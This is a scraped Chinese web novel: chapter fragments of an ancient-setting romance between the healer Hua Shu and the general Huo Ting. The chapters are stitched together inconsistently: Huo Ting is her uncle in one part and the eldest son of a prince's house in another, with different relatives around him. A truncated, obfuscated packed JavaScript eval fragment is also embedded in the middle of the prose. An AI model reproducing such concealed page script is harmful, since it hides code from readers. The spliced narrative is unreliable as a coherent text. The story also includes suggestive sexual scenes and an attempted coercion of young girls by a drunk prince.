玉镯应声摔碎在地，尖锐突兀的动静，吸引前方人群纷纷寻声看过来。 每一道目光，都好似充满轻蔑异色。 华姝仓皇至极，匆忙用油纸伞挡住脸，假装蹲下身去捡碎掉的玉镯。 霍霆幽黑的冷眸，已然恢复清明。 从他的方向望过去，只能看见坐在红木轮椅上的霍千羽，和她腿边一柄水仙花样的天青色油纸伞。 大夫人趁机介绍：“四弟，那是你大侄女千羽。还有你华不为兄长留下的女儿，姝儿。” “华姝……” 像核实名字的疑问，又像肯定语气。 两个字从他唇齿间呢喃而过，声量极轻，旁人都未曾察觉。 但察觉到他一直望着垂花门处，大夫人再度出言：“千羽，姝儿，还不快过来见过你们四叔？” 华姝躲在油纸伞后，紧握伞柄的纤细五指，骨节泛白。 她不想过去。 不想面对他，这辈子都不想。 可是，霍千羽已摇着轮椅过去，大方问安：“四叔好。” 华姝被迫起身，慢吞吞跟上。 每靠近那男人一步，心尖就揪紧一分 “……四叔好。”她唇瓣张张合合，唤出难以启齿的敬称。 却似是听到一声嘲弄的轻笑。 她脸颊火辣辣的烧。 刻意将油纸伞倾斜，遮住脸。 伞面下，男人的黑色长靴隐约可见。鞋底边缘有几针跳线，是她为讨好他，笨拙缝制的。 老夫人：“好姑娘，别害羞，露出脸来。正好借这机会，让四叔认认你们。” 华姝咬紧唇瓣，焦灼地绞尽脑汁：“……许是染了风寒，头晕得很，怕牵连大伙。” “可是被我传染的？这孩子懂事，前几日一直在照看我。” 大夫人的话帮着佐证，华姝的心里稍稍踏实了些。 下一瞬，熟悉的冷凉沉声响起，语速不急不缓：“既患了病，先去好生养着。” 他道：“来日方长。” 再平常不过的关照。 却不知谁的耳畔，蓦然“嗡”得一声 随后，众人按部就班转入主屋。 华姝则踉踉跄跄折返，本意是躲回月桂居，但六神无主的她，像是无头苍蝇一般到处乱撞。 雨水打湿单薄罗裙衣角，打湿身前柔长青丝，四肢冷得颤抖，可她都浑然未觉。 脑海中，是下山道那日的画面。 醒来时已是傍晚，独自躺在灰扑扑的土炕上，四处陈设老旧，方桌上粗茶碗裂开缺口。 屋外正传来陌生男人的破口大骂：“一群庸医！再治不好老大，我就将他们全砍了！” 她听得心惊肉跳，顾不得浑身酸疼的摔伤，从门缝悄悄看去。靠山的荒废小院里，挤满十数个刀疤彪汉。 甚至她壮起胆子，表示想救人时，还曾被威胁：“你个黄毛丫头口气不小！再敢添乱，老子第一个宰了你！” 典型的山匪做派。 所以，倒底哪里出了错？ 秋雨蓦地变大，豆大雨点砸在华姝薄肩处，闷声钝痛。她就近躲到路边的凉亭，蜷缩在长椅旁的角落，抱住湿漉漉的身子。 忽然忆起那夜，红着脸颊帮他纾解完，抱着衣衫不整的身子缩坐在炕沿一角。 那时半夜，天黑雨急，山道湿滑艰难 最明智的做法，是老实闭嘴。但她咬了咬唇，仍期期艾艾地求他寻救霍千羽。 果不其然，男人面露不悦。 “怎么不早说？” 在她错愕的目光中，他先是用虎皮毯子裹紧她，然后召集手下进来：“三人一组，前山、后山、山上寺院、山下城郊，逐一排查。夜深路滑，万事谨慎。” 条理清晰，安排得井然有序。 十几个刀疤彪汉，也是令行禁止。 没人质疑天气恶劣，没人不怀好意瞧她，毫不犹豫一脚迈入电闪雷鸣的雨夜。 当时的她，才与陌生男人苟且缠绵过，脑子乱糟糟的。在巨大惊恐与羞愧中，没往深处探究。 现在想来，他们的伤疤并非打家劫舍所得，而是保家卫国留下的赫赫功勋…… “小姐，这个王妃您真不做了？” “再想做王妃，也不能给自己找个双腿残疾的夫君呐。燕京城好儿郎无数，何愁不能高嫁？”二夫人的表妹，沈青禾撑着嫣红色油纸伞，从凉亭旁边疾步走过。 主仆俩边走，边讨论霍霆腿伤一事。 刚刚在千竹堂门口，华姝瞧见他是坐在轮椅上。可问题是，他的腿伤早就被她医好了。 第六日时，就能下炕走动。 双腿强劲有力，能撑起八十斤重量。 她曾坐在上面，吻了他眉骨的疤。 4. 已修 山上茅草屋的第四日，雨过天晴。 在她精心治疗下，男人腿伤以超乎常人的速度愈合。初次尝试下地行走，疼痛酸胀依旧，他一声不吭地咬紧牙关，坚持锻炼，额头噙满汗珠。 到第六日傍晚间，已行动自如。 他召集大部分人手，出去一趟。至于去向，自然不会同她讲。只命两人守在小院，保障她安全，又像变相监视。 华姝没有抗议的资格。 坐在破旧的四方桌旁，埋头为他缝制那双黑色长靴。 从天亮到天黑，心中越来越不安。 早在三日起，汤药中的鹿血减量大半，燥热臆动随之消减。他耐力惊人，若硬要忍着，也能抗过去。 ——他日渐不需要她了。 前几日还能充当拐杖。 日后，只剩他尚未痊愈的双眼。 一旦复明，等待她的又会何等光景？ 杀人灭口，兔死狗烹…… 门外深不见底的幽黑，像张着血盆大口的鬼魅凶兽，能将人拆穿入腹。明明吹进门的是热风，华姝手脚却阵阵生寒。 ——逃跑的计划，得加快推进。 男人半夜回来，照常自己冲个凉水澡。双眼不便，由她代为洗头。 油灯昏暗的屋内，他头冲外，阖眼平躺在火炕边缘。 华姝将木盆架在矮凳上，坐在旁边，指尖轻柔地揉搓着乌黑浓密长发。发丝硬邦邦的，就如同那一身推都推不动的腱子肉。 见他整晚浓眉紧皱，有求于人的她，顺带为其按摩起头部穴位，轻声体贴询问：“这般力道可还合适？” 他似在沉思，反应了会：“尚可。” 一如既往的惜字如金。 华姝习以为常，继续松缓着头皮，并悄悄观察他神情。 野生皂角的清香萦绕在空气中，紧皱的两道剑眉缓缓舒展。 她瞅准时机，试探提及：“我记得这广连山的山腰有处果林，果子甘甜，果香闻着也舒心，咱明日过去散散心如何？” 倒不指望一次就能逃脱。 主要想瞧瞧，这处茅草屋四周的地形，以及与山顶寺庙相隔几何。 许是猜到她心思，男人未有答复。 但华姝不气馁，扶他起身坐到矮凳上，拿起干洁白帕子，细致和缓擦拭湿发。 然后，犹豫地搓了搓指尖，强按住怦然心跳，主动坐到男人的腿上。 他刚刚喝过汤药，大腿紧绷又滚烫。 烫得她呼吸一颤。 “做什么？” 出神半晌的男人，注意力终于转到她身上。不算和颜悦色，但也没像初次那般一把将人推开。 “我刚刚说的提议，您觉得如何？” 第二次询问，语气越发小心翼翼。 她尽量让嗓音变得甜软如水，前几晚这般央求他放手时，稍有成效。 事实是，话音出口，自己先羞红脸。 他貌似并无太大反应，面无表情道：“过几日再说。” 过几日，他眼睛就该好了。 她的话更会没一点份量。 华姝等不及。 默了默，抿唇壮起胆子，伸出一双细滑藕臂揽上他脖颈，朝那蹙紧眉心盈盈印下一吻。 蜻蜓点水，一触即离，“就明日吧，好不好？” 这次，男人睁开眼，朝她“看”了过来。失焦的黑眸，幽冷视线仍具有极强的震慑力：“再胡闹，扔你下山喂狼。” 然而，低沉嗓音已微有哑意。 华姝抓住这微妙的变化，脸颊乖顺地贴到他坚实胸膛，半真半假地哄道：“您回来后一直皱眉，我这几日也憋闷地慌，就想着一同去散散心。半个时辰就行……” 寂静深夜，少女娇软嗓音再度响起，好似潺潺流水的一汪清泉，仿佛能涤荡进人心田。 片刻后，男人终是退让了，颔首应允 不过那点小心思，大抵没能瞒住他。 大掌顺势扣住她后脑，炙吻密密麻麻落下。半是纾解半是惩戒地，风残云卷，让人无力招架。 * 一场秋雨下了三日，华姝淋雨后真患上风寒，一连卧床三日， 香闺内，残留着焚过的安神香气息，沉郁浓重，历经一夜未消。 自从撞见霍霆后，她的失眠愈发严重。 白术轻声走进来，见人已醒，麻利地打开芙蓉纹路的小窗，“今日天气真好，姑娘可要出去晒晒太阳？兴许病气就被吓跑了。” 华姝看过去，炽碎的晨曦透过鹅黄金丝窗帘，泼洒在紫罗兰织锦绒毯上。阳光浓郁却不闷热，的确适合外出走走。 可对面清枫斋上空的阳光，也甚好。 那人是否也会外出走走。 祖母一片好意，让两人住得近，多亲近，以便将来求一份好亲事。 谁又成想，她的亲事本就因他而失。 “姑娘要去陪陪老夫人吗？”白术见主子兴致恹恹，又提议：“这几日，千竹堂的人来过三四趟呢。” “……你去打听打听，这几日都有谁陪着祖母。” 白术只当她想避开沈青禾和阮糖两位表姑娘，没多问，欢快领命而去。 但显然，华姝更想弄清霍霆的动向。 不可能始终不去千竹堂请安，只能尽量小心地避开他。 卧床这几日，她思忖甚多。 直到逃离时，他的眼睛尚未恢复。 即从没见过她的容貌。 如果以后交集不多的话，有没有可能不会认出她，将这层窗户纸长久地保存完好？ 毕竟，他回来后对她没大动作。 或者会被认出。 堂堂王爷日理万机，只要她不总去人家眼皮子底下转悠，兴许能睁一只眼闭一只眼？ 华姝将头后靠在床架上，闭目养神。 有细风吹来，屋檐下紫玉竹风铃“叮当”作响，不安的心绪随之摇摇晃晃。 不多时，白术回来禀告：“姑娘，老夫人身边最近都是千竹堂的人陪着，二夫人和三夫人偶尔会过去坐坐。您猜猜，沈家和阮家那两位表姑娘，最近去哪了？” 华姝无心顾及旁人，不答反问：“四……王爷回府后，没常去陪伴祖母？” “听说是四爷伤势未愈，在清枫斋仔细调养着呢。” 伤势分明已无碍，他是在筹谋什么？ 华姝拧眉不得解，索性不想了，只要心思没用在她身上就好。而后重新振作起精神，起床收拾妥当。 半夏正在缝制冬衣，她就和白术两人踏着橙黄细碎的阳光，一路往千竹堂走去。 在屋子闷了许久，心情顿觉敞亮。 陪老夫人待上小半个时辰，华姝还是担心会撞见霍霆，用过午膳就寻了借口离开，“大伯母此前患了伤寒，不知是否好利索，姝儿想过去瞧瞧她。” 未走到白鹭洲院门，远远望见霍华羽和表姑娘沈青禾，似乎在和看门婆子说着什么。 华姝自知关系不多付，就想晚点再来。还没转头，先被看门婆子瞧见，欢喜地朝院内扬声通禀：“表姑娘来啦！” 府上如今有三位表姑娘，但底下的人多年叫习惯了。“表姑娘”特指华姝，另外两位是沈小姐和阮小姐。 守在主屋外的丫鬟，笑嘻嘻小跑出来，“表姑娘快请进，我家姑娘才同夫人念叨您呢。” “多谢双雨姐姐。” 华姝与霍华羽、沈青禾点头见礼后，就抬脚随丫鬟双雨进去。却发现，旁边两人没动。 沈青禾看了眼霍华羽，神情微妙。 霍华羽转而就没好气地质问看门婆子，“你不是说大伯母身子不适，今日不见客吗？为何我们进不得，华姝就可以？” 看门婆子满脸堆笑：“表姑娘医术精湛，四爷没回来前，就一直照料着我家夫人。与我家姑娘更是经常同吃同住，她来白鹭院呐，就跟回自己个院子似的。” 这话看似在夸人，实则“四爷没回来前”那句才是重点，夹杂着一股戳心的冰碴子。 华姝瞥了眼沈青禾的反应，果然被臊得脸色难看。 华姝看懂也没看懂，她卧床这段时日，霍家似乎发生了什么。 此前这沈青禾冲着王妃之位而来，整日到祖母面前献殷勤。得知那位双腿“残疾”后，不准备再屈就，本也是常理。 联想到清早白术说的话，这沈青禾应是转来大伯母这献殷勤了。大伯父年近四十，沈青禾心高气傲不可能嫁，那就只剩大表兄霍玄……这不差辈了吗？ 沈青禾可是二伯母的表妹，大表兄得唤声姨母呢。是发生过何事，令她能不惜脸面做到这步？ “华羽，无妨的。” 沈青禾的心理素质比众人预想的都强，不过须臾，重新粉面含笑：“都是我才疏学浅，帮衬不是大夫人，今日就有劳华姝姑娘了。来日大夫人若有用得着青禾之处，可随时命人唤我过来。” 说罢，就拉着霍华羽辞别。 话语一派祥和温柔，不见丝毫恼愠。 “我呸！”看门婆子朝她背影啐了一口：“墙头草，见风就倒，什吗玩意？” 双雨亦是面露讥讽。 再看向华姝时，又换回融融笑意：“外头风大，表姑娘快些进屋暖和吧。” 华姝瞧着两人反应，愈加费解。 看门婆子倚老卖老、作威作福的话，尚能理解。双雨作为大夫人的大丫鬟，最是知礼。如今不制止看门 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以防白术察觉什么，华姝没敢再多打听。趁天气不错，转悠到药田看看。 月桂居的位置偏僻，旁边有一大块空气。早前，家丁常常需要过来除草。后来，华姝索性禀明老夫人，开辟出来中些药材，用来帮府上的人调理身子。 从山里回来后，心绪不佳，也是许久没来精心打理，已生了杂草，有的药苗都打蔫了，“白术，你去外院找些原肥过来。” 华姝则走向墙角的木屋，拿她常用的锄头农具。 走近门口，发现黄铜锁歪歪斜斜地挂在上面，木门半掩。 她笑吟吟推门走进去，“老王叔，您又来帮我打理药田……” 笑声戛然而止。 对上那双熟悉的深邃冷眸，华姝僵冻在木屋门口，握着门上铁环的手都忘记收回。 笑意缓缓褪尽，血色缓缓褪尽，小脸煞白。 这木屋搭地随意，三面无窗。唯一的门口光源，被她遮住大半。投进去的阴影，将坐在长案后的玄衣男人笼罩其中。原本就刚毅冰冷的俊脸，凸显地愈加菱角分明，冷酷无情。 华姝看在眼里，心脏止不住寒沉，手足无措。 “大胆奴婢！王爷的兵器库岂是你能擅自闯入？”立在一旁的侍卫，出声呵斥。 华姝蓦地回神：“……兵器库？” 目光环顾一圈，后知后觉这间库房已被改头换面。除却靠墙那面堆满兵书、卷宗的长案和高高书架，其他三门则摆满了各式兵器，刀枪剑戟，还有很多叫不出名字的。 尖锐的兵器刃，折射出一股股冷白的寒芒。让本就因霍霆坐镇而压迫力甚重的房间，更添威压。 她目光最后落在侍卫身上。 眼生的很，不似在山上的刀疤彪汉，他长相白净，身材欣长清瘦。 难怪没认出她。 幸好没认出她。 “你总瞧着我作甚？” 那侍卫心里有点发毛。 这胆大包天的小婢女，不仅没被他吓到，还老是盯着他看，还露出一丝诡异的……窃喜？ 莫非，是瞧上了他？ 这时，他家王爷忽然发话了，“长缨，去将我披风取来。” 霍霆只闻声瞧一眼门口，早已收回目光。这会面无表情地翻阅手上的兵书，头也不抬地吩咐道。 “是。”长缨令行禁止，朝门外走去。 那日以伞遮面，他们应是都没认出她 华姝紧攥铁环的葱白手指，徐徐放松，恢复一点血色。 她赶忙中规中矩地，欠身致歉：“先前不知此处已改建成兵器库，贸然闯入，还望王爷恕罪。若无其他吩咐，我就不叨扰王爷了。” 说完，紧跟在长缨身后，亦步亦趋逃出闭塞威压的木屋，长长松了一口气。 怎知这时，长案旁炉火上的铁壶，开始“咕噜咕噜”冒泡。 然后，“你，过来煮茶。” 霍霆并没有特指“你”是何人，但在山间的习惯使然，华姝的双脚已比大脑先一步行动。 等反应过来时，人已走进去。 尴尬在站在木屋中央，进也不是，退也不是。 那个长缨侍卫离开后，房间少了一人，骤然空荡许多。 空气也冷寂得可怕。 唯独炉火上的开水，翻滚得更厉害。铁壶盖，发出一阵阵突兀而刺耳的嗡鸣。 霍霆翻过一页书，食指顺势“哒、哒”敲两下桌案。 仍是没有言明，奈何华姝就是看得懂，他在催促她…… 5. 第 5 章 秋云乍起，飞叶苍黄，果熟蒂落，饭菜飘香。 与此同时，华姝欲哭无泪，凄凄惨惨戚戚，被迫赶鸭子上架。 她端起托盘，小心翼翼走到霍霆面前，软语呢喃：“霍将军，这香囊里装有助眠的药材，还望您别嫌弃。” 其实是真心想送霍霆一份谢礼，这香囊一针一线都是她亲手缝制。不论是清水县的雪中送炭，还是王府的礼遇有加，他的恩重如山，千件万件谢礼都不足以报答。他的恩情，她会铭记一辈子。 可问题是，他太冷酷了呀…… 她站着，他坐着，按理说前者气场占优势。可华姝对上他那双狭长的黑眸、那强盛的幽冷气息，整个人好似矮小进尘埃里。 偌大饭厅里，娇小软糯的姑娘，孤零零站在一座万古不化的冰山面前，显得勇敢又可怜。 见霍霆一时没接香囊，孙氏心疼不矣，偏偏爱莫能助。 霍宗飞忙张罗继续用膳，霍霖也打圆场说他要选一个。 霍凝雪则“噗哧”笑出声：“我就知道！大哥都不要我这个亲妹妹的礼物，怎么可能收你的？” 华姝也不敢再坚持，或许那日的事他还没气消吧。她抿了抿唇瓣，故作轻松一笑：“如果您都不喜欢的话，就当我没……” “有劳。” 熟悉的清冷沉声，意外响起。 饭厅骤然安静。 包括霍宗飞在内，众人皆有一瞬的诧异。霍凝雪张大的小嘴，更是能塞下整颗鸡蛋。 华姝一时没反应过来，怔怔瞧着他，亲眼瞧着他就那么破例收下她做的香囊。 霍霆没有挑挑拣拣，礼节得当地捡起最靠右的米黄色香囊，从容放进宽大的湖蓝衣袖里，神色如常。 没人能看懂他在想什么，即便离得最近的华姝。 * 云天收夏色，木叶动风声。四时俱可喜，最好中秋日。庭前暖阳光影渐斜，枝头沙沙攒动，雀儿活跃啁啾，一顿家宴吃得酣畅淋漓。 饭后，事务缠身的霍霆父子，先后离席。孙氏被丫鬟嬷嬷们请去商量赏菊宴的事宜，华姝与霍霖兄妹顺路回房。 路上，霍凝雪白嫩小腮帮子气鼓鼓的，嫉妒道：“大哥偏心！他之前都不肯收我绣的香囊，还好一通训斥我。” 华姝好奇看向身旁，霍将军当真从不收他人礼赠？ 霍霖勾唇轻笑了声，好心开导妹妹：“你将那佩剑绣成了烧火棍，大哥若戴去军营，岂非有损三军势气？” “二哥你你你净睁眼说瞎话，我不理你了！” “行。那二哥下次就，瞎说一些大实话。”霍霖揶揄她。 “哼！” 霍凝雪大步甩开两人，头顶两颗小揪揪都被气歪了。 后面，华姝与霍霖相视一笑。 诚如他先前所言，这小霸王脾气刁了点，但本性不坏。 她内心深处，应该挺希望得到霍霆这位长兄认可的。深深敬仰着，所以才愿意听他话。就像之前拿亡母作挡箭牌，当面直言父王狠心，但从头到尾都没说大哥一句坏话。 林荫小路上，脚下铺的鹅卵石，映照着点点碎光。 华姝垂眸思量再三，还是忍不住问出心知犹疑：“二少爷，我今日是不是烦扰到霍将军了？” “你是说送香囊的事啊？”霍霖手摇折扇，浑不在意笑道：“大哥既然主动收下，想来就是喜欢了。” 华姝当他也在开导她，轻轻点头，整个人还是无精打采的。 霍将军当时犹疑片刻才收下，应是不喜的。他自十五岁就征战四方，走遍名川大山，什么样好看的香囊没见过呢？ 霍霖见她还是垂头丧气的，略想了想：“大哥从不爱俗物，大多时无欲无求，唯独对打仗之事上心。他或许是想拿你那助眠香囊去作研究，瞧瞧能否广发给三军将士。” 这……她倒是还真没想过。 华姝展颜笑了：“希望能有用吧。” 虽说这理由仍掺有安慰人的成分，不过若真能为三军将士略紧绵薄之力，那还是令人由衷欢喜的。 同时，她也逐渐意识到： 霍霆与弟妹看似不亲厚，其实他在他们心中分量是极高的。即便霍霖故意找借口，字里行间都透露出霍霆的家国大义。 然后，华姝就释然了。 能将亲手所做香囊，送给这样的民族大英雄，不论他出于何种缘由收下吧，皆是可喜可贺。 恰逢一片金黄梧桐叶飘到她肩头，华姝捻起它，发现本属草木之物，脉络中心呈现橙红的火焰形状。她觉得挺有趣，捏在指尖准备拿回去作书签。 她忽然有一瞬的感悟：落叶本是平凡小物件，但遇见了投缘之人，即能被赋予超越本身的莫大意义。 * 清枫斋，书房 霍霆端坐在长桌后，沉静埋头于一摞摞军事密报中，屋内仅有偶尔的翻折纸张声，窗边红枫叶沙沙摇曳。 不知过去多久，门外有人轻叩。 “进。” 征得允许，侍卫长缨进门躬身禀告：“启禀将军，属下查到了。” 晌午前，从霍宗飞那里得知太子突然造访，霍霆就命他即刻去探查缘由：“暗探收到消息：说是半月前的宫宴上，太子殿下酒后欺辱了户部尚书的千金，故而被罚来给将士们送御寒之物。” 太子品行不端，满朝文武尽知。这理由，长缨觉得不像作假。 皇上素来偏爱太子，看似罚他到边境，实则暂避风头，还能给三军将士留个好印象，可谓一举三得。 霍霆听完这番禀告，不置可否。 目光继续落在手上的军事急报上，徐徐执笔批阅，浓墨字迹苍劲有力。 长缨不敢叨扰，又没得到新吩咐，垂首站在原地静候。 但脑子依旧在快速转着，忽然想到什么，他猛地抬头：“太子好色，那府上的两位小姐……” 忧切声戛然而止。 不知何时，他家将军已走到墙边的玄色矮柜前，从里拿出三根巴掌大小的红色物件，递给他。 “给他们三个送去，叮嘱赏菊宴当日，务必随身携带。”默了默，又补充道：“就说是中秋礼赠，为以防万一，无需过度恐慌。” 长缨瞧见这红色物件，再听得是“中秋礼赠”，目光露出一丝微妙的笑意。 这莫不是，主要为了回赠华姑娘的中秋礼物吧？ 霍霆向华姝母亲提亲一事的始末，长缨作为贴身的心腹亲卫，曾有幸听过几耳朵。 他越想越觉得合理。 否则一个不值钱的香囊，何必回赠这么贵重的物件？ 难得跟进跟出这么多年，也能看透一回将军的心思，长缨欢喜地浑身冒泡。 可让一个侍卫送过去，若华姑娘不识货，岂不是辜负将军的一番美意了？ 将军已是二十有二，一心忙于军务。 那这情爱之事，他长缨作为身边人，自当得替将军格外上心。 于是：“华姑娘就在对面，将军不若……” 结果，霍霆一记冷眼射过来—— 长缨瞬间闭嘴！ 麻溜接过物件，悻悻退了出去。 书房内，喧嚣散尽，重新恢复原有的沉寂模样。霍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小院丹桂飘香，沁入心脾，启人深思 她恍然察觉，虽然霍霆与兄妹交流不多，但他的关切都在点滴行动中。这人看似冷漠地不近人情，实则将每个家人都记在心里。 包括那日在后花园的假山旁，他教导霍凝雪时，言语之间，何尝不是在用心点拨她？ 忽然忆起爹曾说过：“与人交谈，三分看情绪，七分看内容。” 华姝豁然开朗，眯眼笑道：“长缨侍卫，你可否帮我向霍将军带句话？” 谁能拒绝这般明媚俏丽的笑脸呢？“华姑娘请讲。” “霍将军上次的教诲，华姝明白了。日后为郡主伴读，我必会与她明辨是非，指清黑白。” 这话一出，长缨才被扼杀在摇篮里的小火苗，重新雀跃了起来。 他怎么就没想到呢？ 将军所作的决定，断不会受旁人影响。想说服将军主动，那简直难遇上青天。 但他可以游说华姑娘啊！ 俗话说得好，女追男，隔层纱。 将军既然肯收下华姑娘的礼物，就说明对她不反感。到时候华姑娘再主动黏糊上去，岂不就是顺水推舟，水到渠成…… 于是，长缨上前一步，笑眯眯鼓励道：“到对面不过几步路，华姑娘何不亲自去同将军说？” 华姝却是笑不出了。 她震惊又绝望地盯着他，软音娇颤：“你、是、认、真、的、吗？” 6. 第 6 章 金秋九月，赏菊宴正式到来。山清水秀的王府，在各色秋菊点缀下，愈发风景宜人。 尤其那俩巨大“菊花人”，朝门口热情挥手，让人刚走进王府，就倍感宾至如归。 这般“巧夺天工”想法，是霍凝雪由稻草人所获灵感。□□作帽，绿菊作裙，再搭配紫色粉色长靴……每处皆在郡主大人监工下认真修剪。 起因是那日，华姝帮孙氏检查宴席菜单时，无意间发现：“麻婆豆腐和水晶虾饺不可同桌而食。豆腐和虾的食性相冲，会引起中毒。轻者头痛、恶心，严重者会呕吐不止。” 周管家等人震惊之余，赞不绝口：“难怪华姑娘能得咱家将军夸赞，小小年纪真真是心明眼亮。” “什么！大哥居然夸过她？” 霍凝雪一听就坐不住了。原本最爱玩闹的小姑娘，一连多日将自己关在房中，终于想到将菊花摆出有趣形状，成为赏菊宴当日一道亮丽风景。 孙氏最是好脾性，由着小家伙折腾，并给予多番鼓励和支持。 这让最初阻拦过的霍宗飞，都自叹不如：“此次赏菊宴，华夫人筹办得很好，凝雪丫头的想法也甚妙。” 朱红铜钉大门口，霍宗飞前往迎接太子銮驾时，抽空将撒娇的小女儿抱在怀里，并郑重肯定孙氏的辛劳成果。 “王爷谬赞，多亏有郡主和周管家他们帮衬。”孙氏自谦道。 旁边，华姝与有荣焉。其实她娘出身京城世家，自小锦衣玉食，见多识广。后来为了出身寒门的父亲，无奈与家中断联。 “此次姝儿也帮衬不少，回头本王论功行赏。” 霍宗飞拍了拍她的小脑袋瓜，华姝双眼弯弯：“多谢王……” 霍霆主仆迎面走来。湖蓝长袖随风浮动，俊朗飘逸，又散发出一股独有的疏离清冷。 热闹的王府门口，一瞬安静。大家自发恭敬站成两列，霍凝雪也从父王怀里出溜下来，乖乖站到华姝身旁。 “父王。” 霍霆站定在霍宗飞面前，身形不比其父魁梧粗壮，但更高挑些，“我出去一趟，宴席前赶回来。” “何事如此急？太子殿下马上就到。”霍宗飞神情变严肃，并非生气，而是以他对儿子的了解，恐有棘手之事发生。 “晚间详谈。” 霍霆抬脚往外走。经过两个小姑娘时，余光扫了眼她们腰间挂的信号烟花。 霍凝雪不明所以，只笑着见礼：“大哥，早点回来，我会给你留好吃的。” 华姝则注意到他腰间挂的黄玉玄铁佩剑，这是她头一次瞧见霍霆佩戴兵刃，此前去数百里以外的秀清县都不曾，隐隐觉得此行危险。 想到他为她们周到准备了信号烟花，华姝搓搓手指，软软低言：“霍将军，注意安全。” 说完她就颓然垂头，声音比蚊子的都小，估计他都听不到，白浪费了一腔勇气。 怎知，“嗯。” 嗯？ 华姝惊喜抬头，湖蓝欣长的背影已行至门外，利落翻身上马，一骑绝尘。高束墨发随风飞扬，飒爽雄姿，敢与日月争辉。 他刚刚在答复她？那声音是熟悉的低沉清冷，不带任何情绪。旁人想学也学不来。 可她声音那么小…… 所以他耳力极佳！ 华姝愕然失色呆立在原地，慢慢睁大了双眸。 那她平时在月桂居院中说的悄悄话，悄悄指责他的话，岂不是全…… “你别得意，大哥肯定是在回应我！” 不等华姝细想，离得最近的霍凝雪就气呼呼示威道，然后扭头跑掉了。头上两根小辫子，虎虎生风。 众人哑然失笑。 孙氏与周管家向霍宗飞汇报完毕，重新回院内忙活。华姝跟着往里走，帮孙氏捏肩，“娘，这几日您辛苦了。” “娘不累，倒是忽略了姝儿，等事后再好生陪你。”孙氏拉过她手，慈爱牵着。但想到官眷们马上抵达，唯恐女儿听到流言蜚语，于是托词道：“今日人多易生乱，郡主年纪小，你去瞧瞧。” “好，我这就去。” 想起霍霆也曾特意叮嘱，华姝不疑有他。站在大姐姐的视角，去寻霍凝雪照看着。 可她终究年纪尚浅，没考虑到：孙氏也是柔弱女流，且没有信号烟花作保。 * 王府待客厅，分左右两间。左方接待男宾，太子妃被请到右间，十数位官眷作陪。 孙氏一早就命人摆上各色茶歇，桂花糕、莲蓉酥、鲜花饼……搭配着清爽解腻的六安瓜片茶，用来餐前垫腹。 起初，众人谈笑风生。吃饱喝足后，心思渐渐活络，眼睛止不住朝孙氏打转，话里话外打听她与镇南王的关系。 孙氏规规矩矩言明只是暂住，但妇人们掩面讥笑，显然认为自己猜测才更合理。 孙氏早有心理准备，但仍不堪其扰。幸好周管家有事寻她，忙借机躲出去。她前脚离开，官眷们后脚就讨论出声。 “瞧见没，连周管家都对她毕恭毕敬。说没跟了王爷，谁信呐？” “可惜了的，镇南王洁身自好多年，最后居然栽在一寡妇手里。” “寡妇更会伺候人呐！瞧瞧那前凸后翘的身段，天生就勾男人。” “听说她那女儿也是狐狸精，小小年纪就水灵灵的，不知最后会爬上霍家爷仨谁的床……” 太子妃坐在主位，状似品茶没听见，活菩萨般的好性子，纵得底下妇人越发肆无惮忌。 实则她盘算得最深。 太子妃贵为丞相嫡女，奈何多年无子。太子在外放纵，她只能睁一只眼闭一只眼。 想到太子调戏尚书千金的混账事，想到临行前爹娘叮嘱的话……太子妃附耳交代婢女：“去告知太子爷，华家孤女年轻貌美。” 自己的男人她太清楚了，见到美人就走不动步，若再沾了酒，必须当场泻火。 与其让贵女入东宫，不如找个好拿捏的。华家这女儿身份低贱，又死了爹无人护着。太子将人破了身、远远带回京城，估计霍家那爷仨也懒得再管，届时她轻易就能去母留子。 * 后花园，湖心亭 一想到大哥对华家姑娘的特殊对待，霍凝雪心里就酸溜溜的，明明她才是他的亲生妹妹！ 她从大门口跑开后，就带着婢女来到湖心亭，捡了好些小石子，使劲往湖里扔。 水面锦鲤，四散奔跑。 华姝顺着这一线索，轻松寻到生闷气的小家伙，“见过郡主。” “你走开，我不想理你！” 霍凝雪气鼓鼓地想朝她扔石子，但想想大哥的教导，想想孙氏前几日的温柔鼓励，最后还是将石子狠狠丟尽湖里。 石子溅起巨大的水花，表达着巨大的怒意。 华姝忍俊不禁，考虑到小家伙生气的缘由，灵机一动：“是霍将军命我来寻郡主的。 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按照礼节，若无主人带路，男宾客们不会擅闯他人家的后花园。霍宗飞为以防万一，还分别命两名侍卫守住花园出入口，奈何太子酒后失德。 碍于他身份尊贵，守卫不敢硬拦。一个匆匆去禀告，一个追过来好言相劝。 远远望见湖心亭有姑娘在，守卫不得不以下犯上，跪拦到太子面前：“有女眷在后花园，殿下实在不便久留于此。” “你给孤滚开！” 太子一脚踹昏守卫，而后三步两步地就闯进湖心亭。瞧清那漂亮又稚嫩的小脸蛋，兴奋搓手靠近。臭婆娘倒没骗他，这犄角旮旯的东南边境，居然有如此人间绝色。 “你是何人，胆敢在镇南王府生事？” 突然有外男靠近，吓了两个小姑娘一跳。华姝见他醉醺醺的，一把将霍凝雪护到身后，向岸边后退。 太子则步步紧逼。瞧她头戴白色绢花，便知这是卑贱的华家孤女，开始威逼利诱：“孤乃当朝太子。你若跟了孤，日后荣华不尽。若敢不从，你们娘俩都甭想活命。” 太子！ 华姝心惊颤唇，她下意识想呼救，但府中仆从这会都在前厅帮衬，四周空无一人……对了，霍将军给的信号烟花！ “民女乃王府客人，殿下如此行事，可曾问过王爷和霍将军的意思？” 为防止信号烟花被抢走，华姝一边故作平静同他周旋，一边将手背到身后，悄悄示意霍凝雪赶紧行动。 太子见她年纪不大，漫不经心哄骗道：“他们不过是孤的奴才……” “咻——” 烟花陡然升空。虽是白日，但五彩烟雾炸裂在湖面上空，异常醒目，宛若七彩祥云。 “霍家十万强兵，岂会怕你？”听见父兄被辱，霍凝雪不答应了：“我父兄马上就到，一拳就能将你打成肉饼！” 太子身后的亲卫，脸色骤变：“太子爷，这好像是霍霆的胞妹，要不算了吧。” 那可是连阎王爷见了都犯怵的杀神啊，实在不能惹。 “怕什么？霍霆这会又不在。” 太子酒后色令智昏，瞧着霍凝雪那张比鸡蛋清都白嫩的脸蛋，竟也动起歹念：“她若跟了孤，霍霆那十万大军正好为我所用……” “霍将军，你回来了！” 